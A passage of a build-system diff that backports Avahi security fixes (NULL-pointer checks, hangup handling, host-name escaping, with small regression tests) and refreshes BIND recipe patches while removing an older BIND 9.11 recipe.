+Upstream-Status: Backport [import from ubuntu https://git.launchpad.net/ubuntu/+source/avahi/tree/debian/patches/CVE-2023-38472.patch?h=ubuntu/jammy-security
+Upstream commit https://github.com/lathiat/avahi/commit/b024ae5749f4aeba03478e6391687c3c9c8dee40]
+CVE: CVE-2023-38472
+Signed-off-by: Meenali Gupta <meenali.gupta@windriver.com>
+Signed-off-by: Vijay Anusuri <vanusuri@mvista.com>
+---
+ avahi-client/client-test.c | 3 +++
+ avahi-daemon/dbus-entry-group.c | 2 +-
+ 2 files changed, 4 insertions(+), 1 deletion(-)
+
+Index: avahi-0.8/avahi-client/client-test.c
+===================================================================
+--- avahi-0.8.orig/avahi-client/client-test.c
++++ avahi-0.8/avahi-client/client-test.c
+@@ -272,6 +272,9 @@ int main (AVAHI_GCC_UNUSED int argc, AVA
+ assert(error == AVAHI_ERR_INVALID_RECORD);
+ avahi_string_list_free(txt);
+
++ error = avahi_entry_group_add_record (group, AVAHI_IF_UNSPEC, AVAHI_PROTO_UNSPEC, 0, "TestX", 0x01, 0x10, 120, "", 0);
++ assert(error != AVAHI_OK);
++
+ avahi_entry_group_commit (group);
+
+ domain = avahi_domain_browser_new (avahi, AVAHI_IF_UNSPEC, AVAHI_PROTO_UNSPEC, NULL, AVAHI_DOMAIN_BROWSER_BROWSE, 0, avahi_domain_browser_callback, (char*) "omghai3u");
+Index: avahi-0.8/avahi-daemon/dbus-entry-group.c
+===================================================================
+--- avahi-0.8.orig/avahi-daemon/dbus-entry-group.c
++++ avahi-0.8/avahi-daemon/dbus-entry-group.c
+@@ -340,7 +340,7 @@ DBusHandlerResult avahi_dbus_msg_entry_g
+ if (!(r = avahi_record_new_full (name, clazz, type, ttl)))
+ return avahi_dbus_respond_error(c, m, AVAHI_ERR_NO_MEMORY, NULL);
+
+- if (avahi_rdata_parse (r, rdata, size) < 0) {
++ if (!rdata || avahi_rdata_parse (r, rdata, size) < 0) {
+ avahi_record_unref (r);
+ return avahi_dbus_respond_error(c, m, AVAHI_ERR_INVALID_RDATA, NULL);
+ }
diff --git a/meta/recipes-connectivity/avahi/files/CVE-2023-38473.patch b/meta/recipes-connectivity/avahi/files/CVE-2023-38473.patch
new file mode 100644
index 0000000000..707acb60fe
--- /dev/null
+++ b/meta/recipes-connectivity/avahi/files/CVE-2023-38473.patch
@@ -0,0 +1,110 @@
+From 88cbbc48d5efff9726694557ca6c3f698f3affe4 Mon Sep 17 00:00:00 2001
+From: Michal Sekletar <msekleta@redhat.com>
+Date: Wed, 11 Oct 2023 17:45:44 +0200
+Subject: [PATCH] avahi: common: derive alternative host name from its
+ unescaped version
+
+Normalization of input makes sure we don't have to deal with special
+cases like unescaped dot at the end of label.
+
+Fixes #451 #487
+
+Upstream-Status: Backport [https://github.com/lathiat/avahi/commit/b448c9f771bada14ae8de175695a9729f8646797]
+CVE: CVE-2023-38473
+
+Signed-off-by: Meenali Gupta <meenali.gupta@windriver.com>
+---
+ avahi-common/alternative-test.c | 3 +++
+ avahi-common/alternative.c | 27 +++++++++++++++++++--------
+ 2 files changed, 22 insertions(+), 8 deletions(-)
+
+diff --git a/avahi-common/alternative-test.c b/avahi-common/alternative-test.c
+index 9255435..681fc15 100644
+--- a/avahi-common/alternative-test.c
++++ b/avahi-common/alternative-test.c
+@@ -31,6 +31,9 @@ int main(AVAHI_GCC_UNUSED int argc, AVAHI_GCC_UNUSED char *argv[]) {
+ const char* const test_strings[] = {
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
+ "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXüüüüüüü",
++ ").",
++ "\\.",
++ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\\\",
+ "gurke",
+ "-",
+ " #",
+diff --git a/avahi-common/alternative.c b/avahi-common/alternative.c
+index b3d39f0..a094e6d 100644
+--- a/avahi-common/alternative.c
++++ b/avahi-common/alternative.c
+@@ -49,15 +49,20 @@ static void drop_incomplete_utf8(char *c) {
+ }
+
+ char *avahi_alternative_host_name(const char *s) {
++ char label[AVAHI_LABEL_MAX], alternative[AVAHI_LABEL_MAX*4+1];
++ char *alt, *r, *ret;
+ const char *e;
+- char *r;
++ size_t len;
+
+ assert(s);
+
+ if (!avahi_is_valid_host_name(s))
+ return NULL;
+
+- if ((e = strrchr(s, '-'))) {
++ if (!avahi_unescape_label(&s, label, sizeof(label)))
++ return NULL;
++
++ if ((e = strrchr(label, '-'))) {
+ const char *p;
+
+ e++;
+@@ -74,19 +79,18 @@ char *avahi_alternative_host_name(const char *s) {
+
+ if (e) {
+ char *c, *m;
+- size_t l;
+ int n;
+
+ n = atoi(e)+1;
+ if (!(m = avahi_strdup_printf("%i", n)))
+ return NULL;
+
+- l = e-s-1;
++ len = e-label-1;
+
+- if (l >= AVAHI_LABEL_MAX-1-strlen(m)-1)
+- l = AVAHI_LABEL_MAX-1-strlen(m)-1;
++ if (len >= AVAHI_LABEL_MAX-1-strlen(m)-1)
++ len = AVAHI_LABEL_MAX-1-strlen(m)-1;
+
+- if (!(c = avahi_strndup(s, l))) {
++ if (!(c = avahi_strndup(label, len))) {
+ avahi_free(m);
+ return NULL;
+ }
+@@ -100,7 +104,7 @@ char *avahi_alternative_host_name(const char *s) {
+ } else {
+ char *c;
+
+- if (!(c = avahi_strndup(s, AVAHI_LABEL_MAX-1-2)))
++ if (!(c = avahi_strndup(label, AVAHI_LABEL_MAX-1-2)))
+ return NULL;
+
+ drop_incomplete_utf8(c);
+@@ -109,6 +113,13 @@ char *avahi_alternative_host_name(const char *s) {
+ avahi_free(c);
+ }
+
++ alt = alternative;
++ len = sizeof(alternative);
++ ret = avahi_escape_label(r, strlen(r), &alt, &len);
++
++ avahi_free(r);
++ r = avahi_strdup(ret);
++
+ assert(avahi_is_valid_host_name(r));
+
+ return r;
+--
+2.40.0
diff --git a/meta/recipes-connectivity/avahi/files/handle-hup.patch b/meta/recipes-connectivity/avahi/files/handle-hup.patch
new file mode 100644
index 0000000000..26632e5443
--- /dev/null
+++ b/meta/recipes-connectivity/avahi/files/handle-hup.patch
@@ -0,0 +1,41 @@
+CVE: CVE-2021-3468
+Upstream-Status: Submitted [https://github.com/lathiat/avahi/pull/330]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From 447affe29991ee99c6b9732fc5f2c1048a611d3b Mon Sep 17 00:00:00 2001
+From: Riccardo Schirone <sirmy15@gmail.com>
+Date: Fri, 26 Mar 2021 11:50:24 +0100
+Subject: [PATCH] Avoid infinite-loop in avahi-daemon by handling HUP event in
+ client_work
+
+If a client fills the input buffer, client_work() disables the
+AVAHI_WATCH_IN event, thus preventing the function from executing the
+`read` syscall the next times it is called. However, if the client then
+terminates the connection, the socket file descriptor receives a HUP
+event, which is not handled, thus the kernel keeps marking the HUP event
+as occurring. While iterating over the file descriptors that triggered
+an event, the client file descriptor will keep having the HUP event and
+the client_work() function is always called with AVAHI_WATCH_HUP but
+without nothing being done, thus entering an infinite loop.
+
+See https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=984938
+---
+ avahi-daemon/simple-protocol.c | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/avahi-daemon/simple-protocol.c b/avahi-daemon/simple-protocol.c
+index 3e0ebb11..6c0274d6 100644
+--- a/avahi-daemon/simple-protocol.c
++++ b/avahi-daemon/simple-protocol.c
+@@ -424,6 +424,11 @@ static void client_work(AvahiWatch *watch, AVAHI_GCC_UNUSED int fd, AvahiWatchEv
+ }
+ }
+
++ if (events & AVAHI_WATCH_HUP) {
++ client_free(c);
++ return;
++ }
++
+ c->server->poll_api->watch_update(
+ watch,
+ (c->outbuf_length > 0 ? AVAHI_WATCH_OUT : 0) |
diff --git a/meta/recipes-connectivity/avahi/files/invalid-service.patch b/meta/recipes-connectivity/avahi/files/invalid-service.patch
new file mode 100644
index 0000000000..8f188aff2c
--- /dev/null
+++ b/meta/recipes-connectivity/avahi/files/invalid-service.patch
@@ -0,0 +1,29 @@
+From 46490e95151d415cd22f02565e530eb5efcef680 Mon Sep 17 00:00:00 2001
+From: Asger Hautop Drewsen <asger@princh.com>
+Date: Mon, 9 Aug 2021 14:25:08 +0200
+Subject: [PATCH] Fix avahi-browse: Invalid service type
+
+Invalid service types will stop the browse from completing, or
+in simple terms "my washing machine stops me from printing".
+
+Upstream-Status: Submitted [https://github.com/lathiat/avahi/pull/472]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+---
+ avahi-core/browse-service.c | 4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/avahi-core/browse-service.c b/avahi-core/browse-service.c
+index 63e0275a..ac3d2ecb 100644
+--- a/avahi-core/browse-service.c
++++ b/avahi-core/browse-service.c
+@@ -103,7 +103,9 @@ AvahiSServiceBrowser *avahi_s_service_browser_prepare(
+ AVAHI_CHECK_VALIDITY_RETURN_NULL(server, AVAHI_PROTO_VALID(protocol), AVAHI_ERR_INVALID_PROTOCOL);
+ AVAHI_CHECK_VALIDITY_RETURN_NULL(server, !domain || avahi_is_valid_domain_name(domain), AVAHI_ERR_INVALID_DOMAIN_NAME);
+ AVAHI_CHECK_VALIDITY_RETURN_NULL(server, AVAHI_FLAGS_VALID(flags, AVAHI_LOOKUP_USE_WIDE_AREA|AVAHI_LOOKUP_USE_MULTICAST), AVAHI_ERR_INVALID_FLAGS);
+- AVAHI_CHECK_VALIDITY_RETURN_NULL(server, avahi_is_valid_service_type_generic(service_type), AVAHI_ERR_INVALID_SERVICE_TYPE);
++
++ if (!avahi_is_valid_service_type_generic(service_type))
++ service_type = "_invalid._tcp";
+
+ if (!domain)
+ domain = server->domain_name;
diff --git a/meta/recipes-connectivity/avahi/files/local-ping.patch b/meta/recipes-connectivity/avahi/files/local-ping.patch
new file mode 100644
index 0000000000..29c192d296
--- /dev/null
+++ b/meta/recipes-connectivity/avahi/files/local-ping.patch
@@ -0,0 +1,153 @@
+CVE: CVE-2021-36217
+CVE: CVE-2021-3502
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From 9d31939e55280a733d930b15ac9e4dda4497680c Mon Sep 17 00:00:00 2001
+From: Tommi Rantala <tommi.t.rantala@nokia.com>
+Date: Mon, 8 Feb 2021 11:04:43 +0200
+Subject: [PATCH] Fix NULL pointer crashes from #175
+
+avahi-daemon is crashing when running "ping .local".
+The crash is due to failing assertion from NULL pointer.
+Add missing NULL pointer checks to fix it.
+
+Introduced in #175 - merge commit 8f75a045709a780c8cf92a6a21e9d35b593bdecd
+---
+ avahi-core/browse-dns-server.c | 5 ++++-
+ avahi-core/browse-domain.c | 5 ++++-
+ avahi-core/browse-service-type.c | 3 +++
+ avahi-core/browse-service.c | 3 +++
+ avahi-core/browse.c | 3 +++
+ avahi-core/resolve-address.c | 5 ++++-
+ avahi-core/resolve-host-name.c | 5 ++++-
+ avahi-core/resolve-service.c | 5 ++++-
+ 8 files changed, 29 insertions(+), 5 deletions(-)
+
+diff --git a/avahi-core/browse-dns-server.c b/avahi-core/browse-dns-server.c
+index 049752e9..c2d914fa 100644
+--- a/avahi-core/browse-dns-server.c
++++ b/avahi-core/browse-dns-server.c
+@@ -343,7 +343,10 @@ AvahiSDNSServerBrowser *avahi_s_dns_server_browser_new(
+ AvahiSDNSServerBrowser* b;
+
+ b = avahi_s_dns_server_browser_prepare(server, interface, protocol, domain, type, aprotocol, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_dns_server_browser_start(b);
+
+ return b;
+-}
+\ No newline at end of file
++}
+diff --git a/avahi-core/browse-domain.c b/avahi-core/browse-domain.c
+index f145d56a..06fa70c0 100644
+--- a/avahi-core/browse-domain.c
++++ b/avahi-core/browse-domain.c
+@@ -253,7 +253,10 @@ AvahiSDomainBrowser *avahi_s_domain_browser_new(
+ AvahiSDomainBrowser *b;
+
+ b = avahi_s_domain_browser_prepare(server, interface, protocol, domain, type, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_domain_browser_start(b);
+
+ return b;
+-}
+\ No newline at end of file
++}
+diff --git a/avahi-core/browse-service-type.c b/avahi-core/browse-service-type.c
+index fdd22dcd..b1fc7af8 100644
+--- a/avahi-core/browse-service-type.c
++++ b/avahi-core/browse-service-type.c
+@@ -171,6 +171,9 @@ AvahiSServiceTypeBrowser *avahi_s_service_type_browser_new(
+ AvahiSServiceTypeBrowser *b;
+
+ b = avahi_s_service_type_browser_prepare(server, interface, protocol, domain, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_service_type_browser_start(b);
+
+ return b;
+diff --git a/avahi-core/browse-service.c b/avahi-core/browse-service.c
+index 5531360c..63e0275a 100644
+--- a/avahi-core/browse-service.c
++++ b/avahi-core/browse-service.c
+@@ -184,6 +184,9 @@ AvahiSServiceBrowser *avahi_s_service_browser_new(
+ AvahiSServiceBrowser *b;
+
+ b = avahi_s_service_browser_prepare(server, interface, protocol, service_type, domain, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_service_browser_start(b);
+
+ return b;
+diff --git a/avahi-core/browse.c b/avahi-core/browse.c
+index 2941e579..e8a915e9 100644
+--- a/avahi-core/browse.c
++++ b/avahi-core/browse.c
+@@ -634,6 +634,9 @@ AvahiSRecordBrowser *avahi_s_record_browser_new(
+ AvahiSRecordBrowser *b;
+
+ b = avahi_s_record_browser_prepare(server, interface, protocol, key, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_record_browser_start_query(b);
+
+ return b;
+diff --git a/avahi-core/resolve-address.c b/avahi-core/resolve-address.c
+index ac0b29b1..e61dd242 100644
+--- a/avahi-core/resolve-address.c
++++ b/avahi-core/resolve-address.c
+@@ -286,7 +286,10 @@ AvahiSAddressResolver *avahi_s_address_resolver_new(
+ AvahiSAddressResolver *b;
+
+ b = avahi_s_address_resolver_prepare(server, interface, protocol, address, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_address_resolver_start(b);
+
+ return b;
+-}
+\ No newline at end of file
++}
+diff --git a/avahi-core/resolve-host-name.c b/avahi-core/resolve-host-name.c
+index 808b0e72..4e8e5973 100644
+--- a/avahi-core/resolve-host-name.c
++++ b/avahi-core/resolve-host-name.c
+@@ -318,7 +318,10 @@ AvahiSHostNameResolver *avahi_s_host_name_resolver_new(
+ AvahiSHostNameResolver *b;
+
+ b = avahi_s_host_name_resolver_prepare(server, interface, protocol, host_name, aprotocol, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_host_name_resolver_start(b);
+
+ return b;
+-}
+\ No newline at end of file
++}
+diff --git a/avahi-core/resolve-service.c b/avahi-core/resolve-service.c
+index 66bf3cae..43771763 100644
+--- a/avahi-core/resolve-service.c
++++ b/avahi-core/resolve-service.c
+@@ -519,7 +519,10 @@ AvahiSServiceResolver *avahi_s_service_resolver_new(
+ AvahiSServiceResolver *b;
+
+ b = avahi_s_service_resolver_prepare(server, interface, protocol, name, type, domain, aprotocol, flags, callback, userdata);
++ if (!b)
++ return NULL;
++
+ avahi_s_service_resolver_start(b);
+
+ return b;
+-}
+\ No newline at end of file
++}
diff --git a/meta/recipes-connectivity/bind/bind/0001-avoid-start-failure-with-bind-user.patch b/meta/recipes-connectivity/bind/bind/0001-avoid-start-failure-with-bind-user.patch
index 8db96ec049..ec1bc7b567 100644
--- a/meta/recipes-connectivity/bind/bind/0001-avoid-start-failure-with-bind-user.patch
+++ b/meta/recipes-connectivity/bind/bind/0001-avoid-start-failure-with-bind-user.patch
@@ -17,7 +17,7 @@ index b2eec60..6e03936 100644
@@ -57,6 +57,7 @@ case "$1" in
modprobe capability >/dev/null 2>&1 || true
if [ ! -f /etc/bind/rndc.key ]; then
- /usr/sbin/rndc-confgen -a -b 512 -r /dev/urandom
+ /usr/sbin/rndc-confgen -a -b 512
+ chown root:bind /etc/bind/rndc.key >/dev/null 2>&1 || true
chmod 0640 /etc/bind/rndc.key
fi
diff --git a/meta/recipes-connectivity/bind/bind/0001-configure.in-remove-useless-L-use_openssl-lib.patch b/meta/recipes-connectivity/bind/bind/0001-configure.in-remove-useless-L-use_openssl-lib.patch
deleted file mode 100644
index 9d31b98080..0000000000
--- a/meta/recipes-connectivity/bind/bind/0001-configure.in-remove-useless-L-use_openssl-lib.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 2325a92f1896a2a7f586611686801b41fbc91b50 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Mon, 27 Aug 2018 15:00:51 +0800
-Subject: [PATCH] configure.in: remove useless `-L$use_openssl/lib'
-
-Since `--with-openssl=${STAGING_DIR_HOST}${prefix}' is used in bind recipe,
-the `-L$use_openssl/lib' has a hardcoded suffix, removing it is harmless
-and helpful for clean up host build path in isc-config.sh
-
-Upstream-Status: Inappropriate [oe-core specific]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index e85a5c6..2bbfc58 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -1631,7 +1631,7 @@ If you don't want OpenSSL, use --without-openssl])
- fi
- ;;
- *)
-- DST_OPENSSL_LIBS="-L$use_openssl/lib -lcrypto"
-+ DST_OPENSSL_LIBS="-lcrypto"
- ;;
- esac
- fi
diff --git a/meta/recipes-connectivity/bind/bind/0001-named-lwresd-V-and-start-log-hide-build-options.patch b/meta/recipes-connectivity/bind/bind/0001-named-lwresd-V-and-start-log-hide-build-options.patch
index 75908aa638..4c10f33f04 100644
--- a/meta/recipes-connectivity/bind/bind/0001-named-lwresd-V-and-start-log-hide-build-options.patch
+++ b/meta/recipes-connectivity/bind/bind/0001-named-lwresd-V-and-start-log-hide-build-options.patch
@@ -1,4 +1,4 @@
-From a3af4a405baf5ff582e82aaba392dd9667d94bdc Mon Sep 17 00:00:00 2001
+From 4e83392e840fa7b05e778710b8c202d102477a13 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Mon, 27 Aug 2018 21:24:20 +0800
Subject: [PATCH] `named/lwresd -V' and start log hide build options
@@ -12,23 +12,24 @@ $ named -V
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
+Refreshed for 9.16.0
+Signed-off-by: Armin Kuster <akuster@mvista.com>
+
---
- bin/named/include/named/globals.h | 2 +-
+ configure.ac | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/bin/named/include/named/globals.h b/bin/named/include/named/globals.h
-index ba3457e..7741da7 100644
---- a/bin/named/include/named/globals.h
-+++ b/bin/named/include/named/globals.h
-@@ -68,7 +68,7 @@ EXTERN const char * ns_g_version INIT(VERSION);
- EXTERN const char * ns_g_product INIT(PRODUCT);
- EXTERN const char * ns_g_description INIT(DESCRIPTION);
- EXTERN const char * ns_g_srcid INIT(SRCID);
--EXTERN const char * ns_g_configargs INIT(CONFIGARGS);
-+EXTERN const char * ns_g_configargs INIT("*** (options are hidden)");
- EXTERN const char * ns_g_builder INIT(BUILDER);
- EXTERN in_port_t ns_g_port INIT(0);
- EXTERN isc_dscp_t ns_g_dscp INIT(-1);
---
-2.7.4
-
+diff --git a/configure.ac b/configure.ac
+index bf20690..c5d330f 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -35,7 +35,7 @@ AC_DEFINE([PACKAGE_VERSION_EXTRA], ["][bind_VERSION_EXTRA]["], [BIND 9 Extra par
+ AC_DEFINE([PACKAGE_DESCRIPTION], [m4_ifnblank(bind_DESCRIPTION, [" ]bind_DESCRIPTION["], [])], [An extra string to print after PACKAGE_STRING])
+ AC_DEFINE([PACKAGE_SRCID], ["][bind_SRCID]["], [A short hash from git])
+
+-bind_CONFIGARGS="${ac_configure_args:-default}"
++bind_CONFIGARGS="(removed for reproducibility)"
+ AC_DEFINE_UNQUOTED([PACKAGE_CONFIGARGS], ["$bind_CONFIGARGS"], [Either 'defaults' or used ./configure options])
+
+ AC_DEFINE([PACKAGE_BUILDER], ["make"], [make or Visual Studio])
diff --git a/meta/recipes-connectivity/bind/bind/bind-ensure-searching-for-json-headers-searches-sysr.patch b/meta/recipes-connectivity/bind/bind/bind-ensure-searching-for-json-headers-searches-sysr.patch
index 84559e5f37..38d07cae39 100644
--- a/meta/recipes-connectivity/bind/bind/bind-ensure-searching-for-json-headers-searches-sysr.patch
+++ b/meta/recipes-connectivity/bind/bind/bind-ensure-searching-for-json-headers-searches-sysr.patch
@@ -1,4 +1,4 @@
-From edda20fb5a6e88548f85e39d34d6c074306e15bc Mon Sep 17 00:00:00 2001
+From 5ae30329f168c1e8d2e0c3831988a4f3e9096e39 Mon Sep 17 00:00:00 2001
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Date: Tue, 9 Jun 2015 11:22:00 -0400
Subject: [PATCH] bind: ensure searching for json headers searches sysroot
@@ -33,15 +33,15 @@ Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configure.ac b/configure.ac
-index 17392fd..e85a5c6 100644
+index 2ab8ddd..92fe983 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -2449,7 +2449,7 @@ case "$use_libjson" in
- libjson_libs=""
- ;;
- auto|yes)
-- for d in /usr /usr/local /opt/local
-+ for d in "${STAGING_INCDIR}"
- do
- if test -f "${d}/include/json/json.h"
- then
+@@ -761,7 +761,7 @@ AS_CASE([$with_lmdb],
+ [no],[],
+ [auto|yes], [PKG_CHECK_MODULES([LMDB], [lmdb],
+ [ac_lib_lmdb_found=yes],
+- [for ac_lib_lmdb_path in /usr /usr/local /opt /opt/local; do
++ [for ac_lib_lmdb_path in "${STAGING_INCDIR}"; do
+ AX_LIB_LMDB([$ac_lib_lmdb_path],
+ [ac_lib_lmdb_found=yes
+ break])
diff --git a/meta/recipes-connectivity/bind/bind/conf.patch b/meta/recipes-connectivity/bind/bind/conf.patch
index aad345f9fc..aa3642acec 100644
--- a/meta/recipes-connectivity/bind/bind/conf.patch
+++ b/meta/recipes-connectivity/bind/bind/conf.patch
@@ -276,7 +276,7 @@ diff -urN bind-9.3.1.orig/init.d bind-9.3.1/init.d
+
+ modprobe capability >/dev/null 2>&1 || true
+ if [ ! -f /etc/bind/rndc.key ]; then
-+ /usr/sbin/rndc-confgen -a -b 512 -r /dev/urandom
++ /usr/sbin/rndc-confgen -a -b 512
+ chmod 0640 /etc/bind/rndc.key
+ fi
+ if [ -f /var/run/named/named.pid ]; then
diff --git a/meta/recipes-connectivity/bind/bind/generate-rndc-key.sh b/meta/recipes-connectivity/bind/bind/generate-rndc-key.sh
index ef915c0ae5..633e29c0e6 100644
--- a/meta/recipes-connectivity/bind/bind/generate-rndc-key.sh
+++ b/meta/recipes-connectivity/bind/bind/generate-rndc-key.sh
@@ -2,7 +2,7 @@
if [ ! -s /etc/bind/rndc.key ]; then
echo -n "Generating /etc/bind/rndc.key:"
- /usr/sbin/rndc-confgen -a -b 512 -r /dev/urandom
+ /usr/sbin/rndc-confgen -a -b 512
chown root:bind /etc/bind/rndc.key
chmod 0640 /etc/bind/rndc.key
fi
diff --git a/meta/recipes-connectivity/bind/bind_9.11.21.bb b/meta/recipes-connectivity/bind/bind_9.11.21.bb
deleted file mode 100644
index ee546a0a2c..0000000000
--- a/meta/recipes-connectivity/bind/bind_9.11.21.bb
+++ /dev/null
@@ -1,140 +0,0 @@
-SUMMARY = "ISC Internet Domain Name Server"
-HOMEPAGE = "http://www.isc.org/sw/bind/"
-SECTION = "console/network"
-
-LICENSE = "ISC & BSD"
-LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=bf39058a7f64b2a934ce14dc9ec1dd45"
-
-DEPENDS = "openssl libcap zlib"
-
-SRC_URI = "https://ftp.isc.org/isc/bind9/${PV}/${BPN}-${PV}.tar.gz \
- file://conf.patch \
- file://named.service \
- file://bind9 \
- file://generate-rndc-key.sh \
- file://make-etc-initd-bind-stop-work.patch \
- file://init.d-add-support-for-read-only-rootfs.patch \
- file://bind-ensure-searching-for-json-headers-searches-sysr.patch \
- file://0001-configure.in-remove-useless-L-use_openssl-lib.patch \
- file://0001-named-lwresd-V-and-start-log-hide-build-options.patch \
- file://0001-avoid-start-failure-with-bind-user.patch \
- "
-
-SRC_URI[sha256sum] = "668158b005b3de4328fa0dbbbb3f524b66f28f024c67538aa9412a9e69c9dfbc"
-
-UPSTREAM_CHECK_URI = "https://ftp.isc.org/isc/bind9/"
-# stay at 9.11 until 9.16, from 9.16 follow the ESV versions divisible by 4
-UPSTREAM_CHECK_REGEX = "(?P<pver>9.(11|16|20|24|28)(\.\d+)+(-P\d+)*)/"
-
-# BIND >= 9.11.2 need dhcpd >= 4.4.0,
-# don't report it here since dhcpd is already recent enough.
-CVE_CHECK_WHITELIST += "CVE-2019-6470"
-
-inherit autotools update-rc.d systemd useradd pkgconfig multilib_script multilib_header
-
-MULTILIB_SCRIPTS = "${PN}:${bindir}/bind9-config ${PN}:${bindir}/isc-config.sh"
-
-# PACKAGECONFIGs readline and libedit should NOT be set at same time
-PACKAGECONFIG ?= "readline"
-PACKAGECONFIG[httpstats] = "--with-libxml2=${STAGING_DIR_HOST}${prefix},--without-libxml2,libxml2"
-PACKAGECONFIG[readline] = "--with-readline=-lreadline,,readline"
-PACKAGECONFIG[libedit] = "--with-readline=-ledit,,libedit"
-PACKAGECONFIG[urandom] = "--with-randomdev=/dev/urandom,--with-randomdev=/dev/random,,"
-PACKAGECONFIG[python3] = "--with-python=yes --with-python-install-dir=${PYTHON_SITEPACKAGES_DIR} , --without-python, python3-ply-native,"
-
-ENABLE_IPV6 = "--enable-ipv6=${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'yes', 'no', d)}"
-EXTRA_OECONF = " ${ENABLE_IPV6} --with-libtool --enable-threads \
- --disable-devpoll --enable-epoll --with-gost=no \
- --with-gssapi=no --with-ecdsa=yes --with-eddsa=no \
- --with-lmdb=no \
- --sysconfdir=${sysconfdir}/bind \
- --with-openssl=${STAGING_DIR_HOST}${prefix} \
- "
-
-inherit ${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3native distutils3-base', '', d)}
-
-# dhcp needs .la so keep them
-REMOVE_LIBTOOL_LA = "0"
-
-USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system --home ${localstatedir}/cache/bind --no-create-home \
- --user-group bind"
-
-INITSCRIPT_NAME = "bind"
-INITSCRIPT_PARAMS = "defaults"
-
-SYSTEMD_SERVICE_${PN} = "named.service"
-
-do_install_prepend() {
- # clean host path in isc-config.sh before the hardlink created
- # by "make install":
- # bind9-config -> isc-config.sh
- sed -i -e "s,${STAGING_LIBDIR},${libdir}," ${B}/isc-config.sh
-}
-
-do_install_append() {
-
- rmdir "${D}${localstatedir}/run"
- rmdir --ignore-fail-on-non-empty "${D}${localstatedir}"
- install -d -o bind "${D}${localstatedir}/cache/bind"
- install -d "${D}${sysconfdir}/bind"
- install -d "${D}${sysconfdir}/init.d"
- install -m 644 ${S}/conf/* "${D}${sysconfdir}/bind/"
- install -m 755 "${S}/init.d" "${D}${sysconfdir}/init.d/bind"
- if ${@bb.utils.contains('PACKAGECONFIG', 'python3', 'true', 'false', d)}; then
- sed -i -e '1s,#!.*python3,#! /usr/bin/python3,' \
- ${D}${sbindir}/dnssec-coverage \
- ${D}${sbindir}/dnssec-checkds \
- ${D}${sbindir}/dnssec-keymgr
- fi
-
- # Install systemd related files
- install -d ${D}${sbindir}
- install -m 755 ${WORKDIR}/generate-rndc-key.sh ${D}${sbindir}
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/named.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
- -e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/named.service
-
- install -d ${D}${sysconfdir}/default
- install -m 0644 ${WORKDIR}/bind9 ${D}${sysconfdir}/default
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${sysconfdir}/tmpfiles.d
- echo "d /run/named 0755 bind bind - -" > ${D}${sysconfdir}/tmpfiles.d/bind.conf
- fi
-
- oe_multilib_header isc/platform.h
-}
-
-CONFFILES_${PN} = " \
- ${sysconfdir}/bind/named.conf \
- ${sysconfdir}/bind/named.conf.local \
- ${sysconfdir}/bind/named.conf.options \
- ${sysconfdir}/bind/db.0 \
- ${sysconfdir}/bind/db.127 \
- ${sysconfdir}/bind/db.empty \
- ${sysconfdir}/bind/db.local \
- ${sysconfdir}/bind/db.root \
- "
-
-ALTERNATIVE_${PN}-utils = "nslookup"
-ALTERNATIVE_LINK_NAME[nslookup] = "${bindir}/nslookup"
-ALTERNATIVE_PRIORITY = "100"
-
-PACKAGE_BEFORE_PN += "${PN}-utils"
-FILES_${PN}-utils = "${bindir}/host ${bindir}/dig ${bindir}/mdig ${bindir}/nslookup ${bindir}/nsupdate"
-FILES_${PN}-dev += "${bindir}/isc-config.h"
-FILES_${PN} += "${sbindir}/generate-rndc-key.sh"
-
-PACKAGE_BEFORE_PN += "${PN}-libs"
-FILES_${PN}-libs = "${libdir}/*.so*"
-FILES_${PN}-staticdev += "${libdir}/*.la"
-
-PACKAGE_BEFORE_PN += "${@bb.utils.contains('PACKAGECONFIG', 'python3', 'python3-bind', '', d)}"
